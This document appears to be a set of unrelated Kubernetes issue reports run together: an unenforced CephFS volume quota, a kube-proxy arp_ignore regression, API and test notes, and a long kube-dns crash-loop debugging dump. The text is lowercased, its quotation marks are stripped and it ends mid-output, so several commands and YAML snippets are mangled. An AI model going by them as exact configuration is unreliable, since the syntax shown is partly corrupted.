env  : centos 7.4\r   version  : kube v1.9\r   storage  : cephfs\r \r   what happened:  \r i make the pv/pvc with 1gib capacity, then i bound with a pod,in the pod mount path,i wrote data that was far beyond the pv capacity limit.in the cephfs,the pod path actually has been successfully mounted.so is this a bug of kubernetes with cephfs,or  something else i need to do? \r \r    \r root@yksp009027:~/ceph  kubectl get pvc\r name         status    volume      capacity   access modes   storageclass   age\r cephfs-pvc   bound     cephfs-pv   1gi        rwx                           2d\r root@yksp009027:~/ceph  kubectl get pv\r name        capacity   access modes   reclaim policy   status    claim                storageclass   reason    age\r cephfs-pv   1gi        rwx            delete           bound     default/cephfs-pvc                            2d\r \r   \r \r root@testpod1-5c567b79cc-2nkfp:/var/www  ll -h\r total 3.3g\r drwxr-xr-x  1 www-data www-data 3.3g sep 17 16:24 ./\r drwxr-xr-x 39 root     root     4.0k sep 16 11:51 ../\r -rw-r--r--  1 root     root     1.1g sep 17 14:13 test\r -rw-r--r--  1 root     root     1.1g sep 17 14:13 test2\r -rw-r--r--  1 root     root     1.1g sep 17 16:24 test3\r    \r \r    \r  root@yksp020112 testpod1   pwd\r /mnt/cephfs/testpod1\r  root@yksp020112 testpod1   ll -h\r total 3.3g\r -rw-r--r-- 1 root root 1.1g sep 17 14:13 test\r -rw-r--r-- 1 root root 1.1g sep 17 14:13 test2\r -rw-r--r-- 1 root root 1.1g sep 17 16:24 test3\r    \r 

 \r kubernetes version: 1.13.1.\r kube-proxy mode: ipvs.\r sdn: flannel.\r \r we are used services like this:\r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: test\r spec:\r   type: nodeport\r   externalips:\r     - 192.168.10.201\r   ports:\r     - name: test-port\r       protocol: tcp\r       port: 80\r       targetport: test-port\r   selector:\r       app: test\r    \r where ip 192.168.10.201 is from our internal /24 network  in particular, our kube nodes have ips 192.168.10.1, 192.168.10.2 etc . note that there is no conflicts between real ips and virtual external ones.\r \r before updating from 1.12.3 to 1.13.1, it worked correctly. in partucular these ips was accessible from other non-kubernetes hosts from 192.168.10.0/24 network. after update kube-proxy to 1.13.1, this feature stops working: non-kubernetes hosts cannot resolve service ips via arp:\r    \r   ip ne sh 192.168.10.201\r 192.168.10.201 dev eth1  failed\r    \r on kubernetes hosts it still working, because not requires arp resolving.\r \r if we reset sysctl parameter arp_ignore on kube hosts,\r    \r sysctl net.ipv4.conf.all.arp_ignore=0\r    \r all works normally even from non-kube hosts.\r \r quck debugging shows that problem is in the commit 489e95bc305b017dd8b61960c9e92aae130e863d. please make this behaviour opt-out.  now we resets arp_ignore to 0 via cron every 1 min.

reminder to myself to add a way to signal the reflector to resync, so that a bunch of stores can trigger resync on an externally driven schedule.  scenario: - i have a poller that fires every x minutes that sets the namespaces that are relevant - i want to resync after i update the namespace list  so that when the namespace list is larger i get everything again

right now  --storage-versions  in federation-apiserver includes all the k8s apis  see https://github.com/kubernetes/kubernetes/blob/master/docs/admin/federation-apiserver.md , which is wrong. this is happening because an api group is registered if there is a dependency on it.  here is how federation-apiserver depends on k8s extensions api group:      $ go run godepq.go -from k8s.io/kubernetes/federation/cmd/federation-apiserver -to k8s.io/kubernetes/pkg/apis/extensions packages:   k8s.io/kubernetes/federation/cmd/federation-apiserver   k8s.io/kubernetes/federation/cmd/federation-apiserver/app   k8s.io/kubernetes/pkg/admission   k8s.io/kubernetes/pkg/client/clientset_generated/internalclientset   k8s.io/kubernetes/pkg/apis/extensions/install      this dependency route exists for all k8s apis.  cc @kubernetes/sig-api-machinery @kubernetes/sig-cluster-federation

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/425/  failed: testmetrics {empty_dir}      empty_dir_test.go:272: expected available to be greater than 0       previous issues for this test:  29953

k8s-dns error, this make it failed to deploy sonarqube on k8s\r i need help to fix it\r \r  root@k8s-09 ~   kubectl version\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r  root@k8s-09 ~   cat /etc/os-release\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r  \r \r \r  root@k8s-09 ~   kubectl cluster-info\r    \r kubernetes master is running at http://localhost:8080\r kube-dns is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns\r \r    \r   what happened  :\r i deploy sonarqube and find the pod status is  crashloopbackoff\r and from the logs i find it is caused by  java.net.unknownhostexception <pod name>\r i also check the pod's   logs and env  , please see https://github.com/sonarsource/docker-sonarqube/issues/58\r  \r when i deploy image busybox it becomes also failed with the same reason\r  \r   what you expected to happen  :\r  but the sonarqube image works fine in minikube on my mac book.\r  i expected it works in k8s cluster too.\r so i think there is something wrong with my k8s\r \r  \r   how to reproduce it    as minimally and precisely as possible :\r on my k8s cluster i have tried many times to deploy the sonarqube image including all version of sonarqube images got from its dockerhub official site https://hub.docker.com/_/sonarqube/\r each time i got the same result.\r \r \r   anything else do we need to know  :\r the k8s-dns pod is in an endless restarts loop now.\r it has restarted 4592 times in the past 20 days. i got this record from last friday dec 2.\r from one container, the curl-2421989462-9xhbw,  it is failed to run _nslookup  gitlab._   gitlab is a service here\r \r  root@k8s-09 ~   kubectl get svc\r    \r name          cluster-ip      external-ip   port s                  age\r gitlab        10.108.63.168   <nodes>       443/tcp,22/tcp,80/tcp   9d\r jenkins       10.106.147.38   <nodes>       8080/tcp,50000/tcp      8d\r jenkins-two   10.96.162.178   <nodes>       8080/tcp,50000/tcp      3d\r kubernetes    10.96.0.1       <none>        443/tcp                 19d\r nexus         10.110.143.13   <nodes>       8081/tcp                7d\r nexus-two     10.103.102.74   <nodes>       8081/tcp                2d\r    \r \r   root@curl-2421989462-9xhbw:/  $ nslookup gitlab\r    \r server:    10.96.0.10\r address 1: 10.96.0.10\r \r nslookup: can't resolve 'gitlab'\r    \r   root@curl-2421989462-9xhbw:/  $\r \r \r k8s-dns status as the following \r \r // pod status\r  root@k8s-09 ~  kubectl get pod --namespace=kube-system\r find the   status    is   crashloopbackoff  \r  root@k8s-09 ~   kubectl describe pod kube-dns-590287545-mrkoo --namespace=kube-system\r    \r name:           kube-dns-590287545-mrkoo \r namespace:      kube-system\r node:           k8s-05.huaweilab.com/10.145.101.51\r start time:     tue, 06 dec 2016 19:21:47 -0800\r labels:         component=kube-dns\r                 k8s-app=kube-dns\r                 kubernetes.io/cluster-service=true\r                 name=kube-dns\r                 pod-template-hash=4006485561\r                 tier=node\r status:         running\r ip:             10.43.0.1\r controllers:    replicaset/kube-dns-4006485561\r containers:\r   kube-dns:\r     container id:       docker://8c7aa263ca8a1719fa422a613b63c3645fa80851d966262f26c3ad45bcd9c25f\r     image:              gcr.io/google_containers/kubedns-amd64:1.7\r     image id:           docker://sha256:bec33bc01f037e7c0e4aba1774996579dbe7c786001df522976c2bbce98606c8\r     ports:              10053/udp, 10053/tcp\r     args:\r       --dns-port=10053\r       --domain=cluster.local\r     limits:\r       cpu:      100m\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           170mi\r     state:              running\r       started:          tue, 06 dec 2016 20:10:05 -0800\r     last state:         terminated\r       reason:           error\r       exit code:        255\r       started:          tue, 06 dec 2016 20:03:50 -0800\r       finished:         tue, 06 dec 2016 20:04:58 -0800\r     ready:              false\r     restart count:      16\r     liveness:           http-get http://:8080/healthz delay=60s timeout=5s period=10s  success=1  failure=1\r     readiness:          http-get http://:8081/readiness delay=30s timeout=5s period=10s  success=1  failure=3\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-z3a8o  ro \r     environment variables:      <none>\r   dnsmasq:\r     container id:       docker://e302f4616e3892672821c7774d9a6b0a9e8765943950ef2fded073217de76a17\r     image:              gcr.io/google_containers/kube-dnsmasq-amd64:1.3\r     image id:           docker://sha256:9a15e39d0db8bd3aab67c49cf198d9062b655e3e7c2d8bd0b8adf92c4a6568e8\r     ports:              53/udp, 53/tcp\r     args:\r       --cache-size=1000\r       --no-resolv\r       --server=127.0.0.1 10053\r     limits:\r       cpu:      100m\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           170mi\r     state:              running\r       started:          tue, 06 dec 2016 19:21:50 -0800\r     ready:              true\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-z3a8o  ro \r     environment variables:      <none>\r   healthz:\r     container id:       docker://e6db60963302412925229c3e31ba7e03d5bb10269b6c2a64e4647557ffd3ca3c\r     image:              gcr.io/google_containers/exechealthz-amd64:1.1\r     image id:           docker://sha256:c3a89c92ef5b7f3dbd453a590d60d3ab486a6dfc815a8c95ce92d8dfd093feca\r     port:               8080/tcp\r     args:\r       -cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:53 >/dev/null && nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null\r       -port=8080\r       -quiet\r     limits:\r       cpu:      10m\r       memory:   50mi\r     requests:\r       cpu:              10m\r       memory:           50mi\r     state:              running\r       started:          tue, 06 dec 2016 19:22:12 -0800\r     ready:              true\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-z3a8o  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true\r   ready         false\r   podscheduled  true\r volumes:\r   default-token-z3a8o:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-z3a8o\r qos class:      guaranteed\r tolerations:    dedicated=master:noschedule\r events:\r   firstseen     lastseen        count   from                            subobjectpath                   type            reason          message\r   ---------     --------        -----   ----                            -------------                   --------        ------          -------\r   49m           49m             1       {default-scheduler }                                            normal          scheduled       successfully assigned kube-dns-4006485561-i21lk to k8s-05.huaweilab.com\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{dnsmasq}        normal          created         created container with docker id e302f4616e38; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{dnsmasq}        normal          pulled          container image \ gcr.io/google_containers/kube-dnsmasq-amd64:1.3\  already present on machine\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{dnsmasq}        normal          started         started container with docker id e302f4616e38\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{healthz}        normal          pulled          container image \ gcr.io/google_containers/exechealthz-amd64:1.1\  already present on machine\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{healthz}        normal          created         created container with docker id e6db60963302; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{healthz}        normal          started         started container with docker id e6db60963302\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id 14090b13d8d2; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id 14090b13d8d2\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id 14090b13d8d2: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id e8c06971e956; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id e8c06971e956\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id c5f4f1188140; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id e8c06971e956: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id c5f4f1188140\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id c5f4f1188140: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id 990c58f797a7; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id 990c58f797a7\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id 990c58f797a7: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id 5d8bc2f6596b; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id 5d8bc2f6596b\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id 5d8bc2f6596b: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          created         created container with docker id 37496c901aee; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          started         started container with docker id 37496c901aee\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal          killing         killing container with docker id 37496c901aee: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       7       {kubelet k8s-05.huaweilab.com}                                  warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kube-dns pod=kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \ \r \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  created         created container with docker id 2f0ff48a3e14; security: seccomp=unconfined \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  started         started container with docker id 2f0ff48a3e14\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  killing         killing container with docker id 2f0ff48a3e14: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       14      {kubelet k8s-05.huaweilab.com}                                  warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kube-dns pod=kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \ \r \r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  killing         killing container with docker id b08e1b7199d2: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       1       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  killing         killing container with docker id 77360507a4e4: pod \ kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   <invalid>     <invalid>       139     {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       warning backoff         back-off restarting failed docker container\r   <invalid>     <invalid>       118     {kubelet k8s-05.huaweilab.com}                                  warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-dns pod=kube-dns-4006485561-i21lk_kube-system e48eb919-bc23-11e6-9595-ecf4bbc78ce4 \ \r \r   <invalid>     <invalid>       10      {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  started          events with common reason combined \r   <invalid>     <invalid>       17      {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       warning unhealthy       liveness probe failed: http probe failed with statuscode: 503\r   <invalid>     <invalid>       18      {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  pulled          container image \ gcr.io/google_containers/kubedns-amd64:1.7\  already present on machine\r   <invalid>     <invalid>       68      {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       warning unhealthy       readiness probe failed: get http://10.43.0.1:8081/readiness: dial tcp 10.43.0.1:8081: getsockopt: connection refused\r   <invalid>     <invalid>       8       {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  killing          events with common reason combined \r   <invalid>     <invalid>       11      {kubelet k8s-05.huaweilab.com}  spec.containers{kube-dns}       normal  created          events with common reason combined \r    \r \r  root@k8s-09 ~  \r \r // container status \r   root@k8s-09 ~   kubectl logs kube-dns-590287545-mrkoo -c kube-dns --namespace=kube-system\r    \r i1207 18:31:29.589479       1 server.go:94  using http://localhost:8080 for kubernetes master, kuber\r netes api: <nil>\r i1207 18:31:29.681470       1 server.go:99  v1.4.0-alpha.2.1652+c69e3d32a29cfa-dirty\r i1207 18:31:29.681518       1 server.go:101  flag: --alsologtostderr=\ false\ \r i1207 18:31:29.681551       1 server.go:101  flag: --dns-port=\ 10053\ \r i1207 18:31:29.681588       1 server.go:101  flag: --domain=\ cluster.local.\ \r i1207 18:31:29.681605       1 server.go:101  flag: --federations=\ \ \r i1207 18:31:29.681618       1 server.go:101  flag: --healthz-port=\ 8081\ \r i1207 18:31:29.681645       1 server.go:101  flag: --kube-master-url=\ \ \r i1207 18:31:29.681657       1 server.go:101  flag: --kubecfg-file=\ \ \r i1207 18:31:29.681669       1 server.go:101  flag: --log-backtrace-at=\ :0\ \r i1207 18:31:29.681687       1 server.go:101  flag: --log-dir=\ \ \r i1207 18:31:29.681721       1 server.go:101  flag: --log-flush-frequency=\ 5s\ \r i1207 18:31:29.681750       1 server.go:101  flag: --logtostderr=\ true\ \r i1207 18:31:29.681765       1 server.go:101  flag: --stderrthreshold=\ 2\ \r i1207 18:31:29.681779       1 server.go:101  flag: --v=\ 0\ \r i1207 18:31:29.681794       1 server.go:101  flag: --version=\ false\ \r i1207 18:31:29.681811       1 server.go:101  flag: --vmodule=\ \ \r i1207 18:31:29.682093       1 server.go:138  starting skydns server. listening on port:10053\r i1207 18:31:29.682580       1 server.go:145  skydns: metrics enabled on : /metrics:\r i1207 18:31:29.682630       1 dns.go:167  waiting for service: default/kubernetes\r i1207 18:31:29.780993       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.\r 0.0:10053  rcache 0 \r i1207 18:31:29.781101       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.\r 0.0:10053  rcache 0 \r e1207 18:31:29.883738       1 reflector.go:214  pkg/dns/dns.go:156: failed to list  api.service: get\r  http://localhost:8080/api/v1/services?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connectio\r n refused\r i1207 18:31:29.883821       1 dns.go:173  ignoring error while waiting for service default/kubernete\r s: get http://localhost:8080/api/v1/namespaces/default/services/kubernetes: dial tcp  ::1 :8080: get\r sockopt: connection refused. sleeping 1s before retrying.\r e1207 18:31:29.884013       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.endpoints: g\r et http://localhost:8080/api/v1/endpoints?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connec\r tion refused\r e1207 18:31:30.888083       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.endpoints: g\r et http://localhost:8080/api/v1/endpoints?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connec\r tion refused\r e1207 18:31:30.888123       1 reflector.go:214  pkg/dns/dns.go:156: failed to list  api.service: get\r  http://localhost:8080/api/v1/services?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connectio\r n refused\r i1207 18:31:30.888206       1 dns.go:173  ignoring error while waiting for service default/kubernete\r s: get http://localhost:8080/api/v1/namespaces/default/services/kubernetes: dial tcp  ::1 :8080: get\r sockopt: connection refused. sleeping 1s before retrying.\r e1207 18:31:32.181273       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.endpoints: g\r et http://localhost:8080/api/v1/endpoints?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connec\r tion refused\r i1207 18:31:32.181280       1 dns.go:173  ignoring error while waiting for service default/kubernete\r s: get http://localhost:8080/api/v1/namespaces/default/services/kubernetes: dial tcp  ::1 :8080: get\r sockopt: connection refused. sleeping 1s before retrying.\r e1207 18:31:32.181293       1 reflector.go:214  pkg/dns/dns.go:156: failed to list  api.service: get\r  http://localhost:8080/api/v1/services?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connectio\r n refused\r e1207 18:31:33.282588       1 reflector.go:214  pkg/dns/dns.go:156: failed to list  api.service: get\r  http://localhost:8080/api/v1/services?resourceversion=0: dial tcp  ::1 :8080: getsockopt: connectio\r n refused\r    \r  \r \r  root@k8s-09 ~   kubectl logs kube-dns-590287545-mrkoo -c healthz --namespace=kube-system | more\r    \r 2016/12/06 02:34:27 healthz probe error: result of last exec: nslookup: can't resolve 'kubernetes.default.svc.cluster.local'\r , at 2016-12-06 02:34:26.712758735 +0000 utc, error exit status 1\r <..... many same kind line....>\r \r    \r \r i test and find even the kube-dns container can not find the  kubernetes.default.svc.cluster.local\r   root@k8s-09 ~    kubectl --namespace=kube-system exec -it kube-dns-590287545-mrkoo  -- nslookup kubernetes.default.svc.cluster.local 127.0.0.1\r    \r server:    127.0.0.1\r address 1: 127.0.0.1\r \r nslookup: can't resolve 'kubernetes.default.svc.cluster.local'\r    \r  root@k8s-09 ~  \r \r  root@k8s-09 ~   kubectl logs kube-dns-590287545-mrkoo  -c dnsmasq --namespace=kube-system\r  root@k8s-09 ~  \r \r // deployment yaml \r \r  root@k8s-09 ~   kubectl get  deployments kube-dns --namespace=kube-system\r    \r name       desired   current   up-to-date   available   age\r kube-dns   1         1         1            0           24d\r    \r  \r  root@k8s-09 ~  \r // service status\r \r  root@k8s-09 ~  kubectl cluster-info0\r    \r kubernetes master is running at http://localhost:8080\r kube-dns is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns\r \r    \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r  root@k8s-09 ~   curl http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kube-dns\r    \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ no endpoints available for service \\\ kube-dns\\\ \ ,\r   \ reason\ : \ serviceunavailable\ ,\r   \ code\ : 503\r }\r    \r  root@k8s-09 ~  \r \r \r //  svc  status \r  root@k8s-09 ~   kubectl get svc --namespace=kube-system -o wide\r    \r name                   cluster-ip       external-ip   port s          age       selector\r kube-dns               10.96.0.10       <none>        53/udp,53/tcp   24d       name=kube-dns\r kubernetes-dashboard   10.108.147.211   <nodes>       80/tcp          24d       app=kubernetes-dashboard\r    \r  root@k8s-09 ~   kubectl describe svc kube-dns --namespace=kube-system\r    \r name:                   kube-dns\r namespace:              kube-system\r labels:                 component=kube-dns\r                         k8s-app=kube-dns\r                         kubernetes.io/cluster-service=true\r                         name=kube-dns\r                         tier=node\r selector:               name=kube-dns\r type:                   clusterip\r ip:                     10.96.0.10\r port:                   dns     53/udp\r endpoints:\r port:                   dns-tcp 53/tcp\r endpoints:\r session affinity:       none\r no events.\r    \r  root@k8s-09 ~   kubectl get  svc kube-dns --namespace=kube-system -o yaml\r    \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2016-11-11t18:50:57z\r   labels:\r     component: kube-dns\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     name: kube-dns\r     tier: node\r   name: kube-dns\r   namespace: kube-system\r   resourceversion: \ 158\ \r   selflink: /api/v1/namespaces/kube-system/services/kube-dns\r   uid: c84e3781-a83f-11e6-9595-ecf4bbc78ce4\r spec:\r   clusterip: 10.96.0.10\r   ports:\r   - name: dns\r     port: 53\r     protocol: udp\r     targetport: 53\r   - name: dns-tcp\r     port: 53\r     protocol: tcp\r     targetport: 53\r   selector:\r     name: kube-dns\r   sessionaffinity: none\r   type: clusterip\r status:\r   loadbalancer: {}\r    \r  root@k8s-09 ~   kubectl get serviceaccounts  --all-namespaces\r    \r namespace     name      secrets   age\r blue          default   1         24d\r default       default   1         24d\r green         default   1         24d\r kube-system   default   1         24d\r red           default   1         24d\r    \r  root@k8s-09 ~    kubectl get ep --namespace=kube-system\r    \r name                      endpoints   age\r kube-controller-manager   <none>      24d\r kube-dns                              25d\r kube-scheduler            <none>      24d\r kubernetes-dashboard      <none>      24d\r    \r \r   root@k8s-08 ~  sudo ps -ef |grep kubelet\r    \r root     10537 15631  0 11:19 pts/2    00:00:00 grep --color=auto kubelet\r root     43777     1  4 nov11 ?        20:14:57 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --v=4\r root     44579 14890  1 nov11 ?        07:11:59 kube-controller-manager --v=2 --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap\r    \r  \r   root@k8s-08 ~   ip addr show\r    \r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host\r        valid_lft forever preferred_lft forever\r 2: em1: <broadcast,multicast,up,lower_up> mtu 1500 qdisc mq state up qlen 1000\r     link/ether 90:b1:1c:56:20:81 brd ff:ff:ff:ff:ff:ff\r     inet 10.145.99.81/24 brd 10.145.99.255 scope global em1\r        valid_lft forever preferred_lft forever\r     inet6 fe80::92b1:1cff:fe56:2081/64 scope link\r        valid_lft forever preferred_lft forever\r 3: em2: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc mq state down qlen 1000\r     link/ether 90:b1:1c:56:20:82 brd ff:ff:ff:ff:ff:ff\r 4: em3: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc mq state down qlen 1000\r     link/ether 90:b1:1c:56:20:83 brd ff:ff:ff:ff:ff:ff\r 5: em4: <broadcast,multicast,up,lower_up> mtu 1500 qdisc mq state up qlen 1000\r     link/ether 90:b1:1c:56:20:84 brd ff:ff:ff:ff:ff:ff\r 6: p5p1: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc mq state down qlen 1000\r     link/ether 90:e2:ba:a9:8e:e8 brd ff:ff:ff:ff:ff:ff\r 7: p5p2: <broadcast,multicast,up,lower_up> mtu 1500 qdisc mq state up qlen 1000\r     link/ether 90:e2:ba:a9:8e:e9 brd ff:ff:ff:ff:ff:ff\r     inet 10.145.101.81/24 brd 10.145.101.255 scope global p5p2\r        valid_lft forever preferred_lft forever\r     inet6 fe80::92e2:baff:fea9:8ee9/64 scope link\r        valid_lft forever preferred_lft forever\r 8: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down\r     link/ether 02:42:26:14:a4:bc brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r 9: datapath: <broadcast,multicast,up,lower_up> mtu 1410 qdisc noqueue state unknown\r     link/ether 0e:24:70:d0:b6:48 brd ff:ff:ff:ff:ff:ff\r     inet6 fe80::c24:70ff:fed0:b648/64 scope link\r        